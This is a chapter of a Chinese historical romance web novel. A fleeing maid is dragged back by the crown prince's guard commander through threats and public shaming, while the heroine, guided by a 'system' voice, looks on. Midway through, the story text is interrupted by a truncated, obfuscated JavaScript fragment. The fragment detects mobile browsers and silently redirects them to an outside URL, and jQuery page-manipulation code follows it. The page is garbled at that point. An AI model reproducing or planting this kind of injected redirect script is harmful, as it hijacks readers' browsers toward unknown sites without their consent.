“救命——”
古刹钟声骤断,一声凄厉哭号声自后山破空而至。
萧懿安循声疾步跨过门槛时,正撞见个姑娘踉跄扑进香灰堆。
那姑娘发髻凌乱,衣衫被扯得褴褛不堪,衣角随风乱舞,大片淤青肌肤袒露在外,触目惊心。
她空洞地环顾四周,干裂嘴唇不住颤抖,含糊呓语:“救我……救救我……他们是……”
众人被这突如其来的变故吸引,原本的喧闹交谈声戛然而止,四下一片死寂。
明眼人都看得出来她经历了什么。
一妇女欲上前为女子披件衣物,却被丈夫硬生生拽走。
“你不要命啦!后山住的可都是权贵,咱们惹不起!”
老沙弥捻着佛珠念叨"阿弥陀佛",却将面前的稚子眼睛捂得严实。
众人你一言我一语,却始终无人敢上前相助。
女子哆哆嗦嗦扯着自己的衣服,妄图遮掩裸露身躯,却只是徒劳。
萧懿安刚欲迈步向前,被阿暮拽住袖口:"小姐,奴婢听说,后山住的不是别人,正是太子殿下!老爷与太子向来不合,您还是别出去了。"
阿暮难得如此正经,话音压得极低。
“不行,我得帮她。”
萧懿安毫不犹豫,刚挣脱开阿暮,只见一人拨开人群,疾步上前。
是王静姝。
她解下月白披风裹住女子:"莫惊,我在这里。"
那女子一见到王静姝瞬间泪如雨下,攥着她衣襟泣不成声:"小姐,他们逼奴婢喝……喝那种药……"
王静姝眼中也泛起泪花,缓缓扶起女子,刚要带她离开,一阵急促马蹄声由远及近。
一队身着侍卫服饰之人,风驰电掣般赶来。他们迅速围住王静姝二人,将旁人拦在圈外。
为首者扬起马鞭直指女子:"把她给我带回去!"
“是!”
王静姝根本阻拦不住。
周奉轩挡在二人身前:"世风日下,白统领这般行事,恐有违圣人教化。"
白统领环顾四周人群,故意抬高音量:“这婢子狐媚惑主,按律该绞了头发做姑子,我捉她回去,有何不妥?”
话音激起千层浪,老妇们慌忙捂住小儿耳朵。
王静姝面带愠色:“休要胡言!霜儿自幼伴我,岂会……”那几个字实在难以启齿,“霜儿分明就是被你们掳走的!”
白统领马鞭轻敲掌心:“王小姐,您记错了。当日王家被抄,若非主子买下她,她早就被卖进窑子去!”
“至于您嘛,”他不紧不慢地道,“恕我直言,王小姐如今得以苟活,全是圣上仁慈,犯不着为一个小小婢女,搭上您和令堂,抑或是整个岳家。”
闻言,王静姝脸色微变。
霜儿似是察觉到她的情绪,往她怀里缩了缩。
周奉轩笑道:“白统领当年与家兄赌书泼茶时,可曾料到今日要替东宫捉拿逃婢?”
"若是大公子在此——"白统领刻意拖长语调,"我白某人第一时间就将人奉上。"
萧懿安心想,这个白统领说话滴水不漏,却又极度尖酸刻薄。
外界皆传周国公府大公子是人中龙凤,二公子是酒囊饭袋,常将二人比较,却也只是私下传言,从未有人当着正主的面戳人心窝。
若是兄弟二人本就不睦,白侍卫这话,怕是会像一根针,插进缝隙,让二人隔阂更深。
却不想周奉轩本就无意争个高低,故而对于白侍卫这种嘲讽不甚在意。
眼下场景白统领轻易不想放人,周奉轩笑容微敛:“若我今日执意要带走她呢?”
白统领笑道:“国公府的面子我自是要给的。”
他的意思很明显,你周奉轩在我这,不值一文,今日放人不过是因为你爹是周国公罢了。
周奉轩勾起唇角:“如此说来,投个好胎也不错。”而后对王静姝轻声道,“带霜儿走吧。”
王静姝知道周奉轩是因为她受辱,略感抱歉,周奉轩浅笑一声,示意她不用担忧。
几人刚刚转身欲离开,白统领道:“且慢!”
周奉轩回首:“不知白统领还有何指教?”
"指教不敢当,只是诸位可问过霜儿,愿随你们走吗?"
萧懿安微感不妙,看向霜儿,只见霜儿本想点头,动作却突然一滞,瞳孔骤缩。
萧懿安顺着她的视线看过去,就见白统领抽出一柄铜剑,漫不经心地打量起来。
"近日太子殿下花了大价钱,收购了一桩铁匠铺,我手里这柄铜剑就是镇店之宝,听说,那家铁匠之子收了钱却又不卖了,殿下已将此等出尔反尔之人收押了,正关在地牢里,他性子倔,反咬殿下一口,霜儿姑娘,你说到底如何是好?”
霜儿眼中蓄满眼泪,浑身止不住地颤抖。
白统领忽地又提高音量:“何况,霜儿姑娘如今怀着身孕,又能跑到哪里去?这个世道,会有人要一双破鞋吗?”
此言一出,全场又是一阵哗然,霜儿似再也承受不住,“啊”了一声,晕了过去。
萧懿安赶忙上前,拔下头饰,以金簪尖刺入其人中穴,半晌后,霜儿缓缓睁开眼。
王静姝听得脸色煞白:“休要胡言,污人清白!”
白统领抚掌大笑:“我有没有胡说,这位姑娘把脉便知。”
他一抬下巴,指向萧懿安,凭萧懿安方才的举动,他看出萧懿安略通岐黄。
众人的视线瞬间投过来,此刻若是逃避,反而证实白统领所言,到时候就真的有口说不清了,萧懿安只好硬着头皮为霜儿把脉。
她搭上霜儿的手腕,把脉的时间越长,脸色越不好看。
确实是喜脉,白统领并未胡言。
王静姝看萧懿安的脸色,也猜到了,没再追问。
“如何?”白统领故意问道。
萧懿安强压胸腔中的怒火,猛然抬眸,正对上白统领戏谑眼神。
她舒展眉心,故作轻松地道:“白统领猜错了呢。”
“哦?是吗?看来你的医术并不佳。”
正当时,“嗖”的一声,一根红线飞过来,如蛇信缠住霜儿的手腕,须臾后,红线又全部都收了回去。
红线另一头,古沧澜笑眯眯地道:“恭喜这位姑娘啊,已经有月余的身孕了。”
霜儿脸色苍白如纸,听到他这句话又要晕过去,好在萧懿安一直掐住她的虎口,方才稳住。
萧懿安真想把这小老头一巴掌拍进土里去!
这老头不会看脸色吗?恭的哪门子的喜?!!!
白统领将剑横在身前,剑尖微微颤动:"霜姑娘随我回去罢,打铁铺子经不住铁骑来回踏碾。"
这是赤裸裸的威胁。
他忽地扬手拍掌,马车骨碌碌驶到跟前。
白统领掀起青布车帘,护腕压着帘角:"请。"
这个字像钉子楔进石板。
王静姝一把攥紧霜儿手腕,指甲几乎掐进皮肉里。
萧懿安却看得明白,这局棋早落了最后一子。
果然,霜儿扑通跪地,结结实实磕了三个响头:"小姐今日恩义,霜儿来世当牛做马也要还。"
说罢猛地挣开手,再没回头望半眼。
王静姝刚要追,两柄铁剑"锵"地交在她面前。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679918|173244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>白统领翻身上马,马鞭在半空甩出脆响,带着人马转眼消失,只余马蹄铁磕在路上的哒哒声。
原本噤若寒蝉的人群忽如沸水炸锅。
"依老汉说,这小蹄子莫不是爬了主子的榻,逃出来的?"
"说不准啊,上月李员外家不也有丫鬟挺着肚皮要挟主母?"
挎菜篮的妇人突然压低嗓子:"会不会是威胁啊?我看那什么侍卫拿了一把剑?"
"保不齐是双簧戏!正经姑娘早该悬梁证清白,偏她矫矫情情上马车,做春秋大梦呢!"
白统领早算准了这世道最忌谈论男女大防,先以秽乱闺阁的罪名泼脏水,再用珠胎暗结的话头带偏风向。
一些人本就热衷于探究高门贵院这档子破事,眼下纷纷议论起来,而先前为霜儿说话的人则紧抿着唇,没有开口。
偶尔有想开口的,也会立刻被身边人拦住。
没人敢在此时有异议——毕竟,谁愿沾上半点支持狐媚惑主的名声?
好半晌,人群才散去,而一直隐藏在人群的赵云珂,目睹全程后,悄然离开。
才至五月,天气却炎热起来。
日头高悬,仿若一个熊熊燃烧的大火球,肆无忌惮地烘烤着大地。
王静姝眼中噙泪,微微福身向萧懿安致谢:“多谢,终是我无能,护不住她。”
萧懿安忙托住她手肘,把人引到梧桐树荫底下。
萧懿安道:“尽人事听天命,王姑娘何必妄自菲薄。春宴那日若非你及时报信,我如何得及救下妹妹?”
王静姝苦笑道:“有你这般护短的姐姐,萧二姑娘真是好福气。”
阿暮道:"那是自然,我们小姐待二小姐可好了!同吃同睡,连簪花都要亲手给她戴!"
这话像把盐撒在陈年疤上。
寄居岳家的王静姝,与借住萧家的有仪,本都是屋檐下的客。偏阿暮不知看脸色,掰着指头数姐妹情深,字字句句都戳人心窝子。
萧懿安见王静姝的脸色更差,刚想止住阿暮,就听到令人悲催的声音。
【叮!检测到“阻止萧起的刺杀”恶意度上升到55,请宿主再接再厉!】
萧懿安转过头,悄悄瞪了身后的萧起一眼,后者却浑然不觉,兀自盯着树杈上飘摇的红绸带出神,喉结随着绸布晃动的节奏上下滑动。
萧懿安看着满树的红绸,道:“王小姐,你看。"
她指尖点上树冠,"这第二高的红绸便是你与周公子的,都说挂得越高情分越长呢。"说着朝周奉轩方向努嘴,"方才周公子护你的架势,可比话本里的状元郎还威风。"
王静姝听到这话,脸色微微缓和,但心中终究压着石头,虽然笑出来,却笑得勉强。
周奉轩知道萧懿安是转移话题,宽王静姝的心,于是配合地嚷起来:"哈!居然是第二?我倒要瞧瞧是谁的红绸敢压我们一头?缠得这般紧,怕不是要缠三生三世?"
"自然是……"
萧懿安拍拍胸脯,正要说话,树顶突然传来"咔吧"脆响。
众人眼睁睁瞧着最高处那对红绸直愣愣砸下来,不偏不倚拍在她额头上。
……
萧懿安手忙脚乱抓起红绸:"哈、哈哈,这风刮得邪性……"
阿暮探头瞧着纹丝不动的树叶嘟囔:"哪来的风啊?"
"就你话多!"萧懿安一把捂住阿暮的嘴,拖着人落荒而逃。
转过廊角才敢展开红绸,奇怪,树枝断口齐整得像被快刀削过一般。
何况,断枝茬分明有碗口粗,这粗细别说风吹,便是壮汉来折也得费些气力。
怎么说断就断了呢?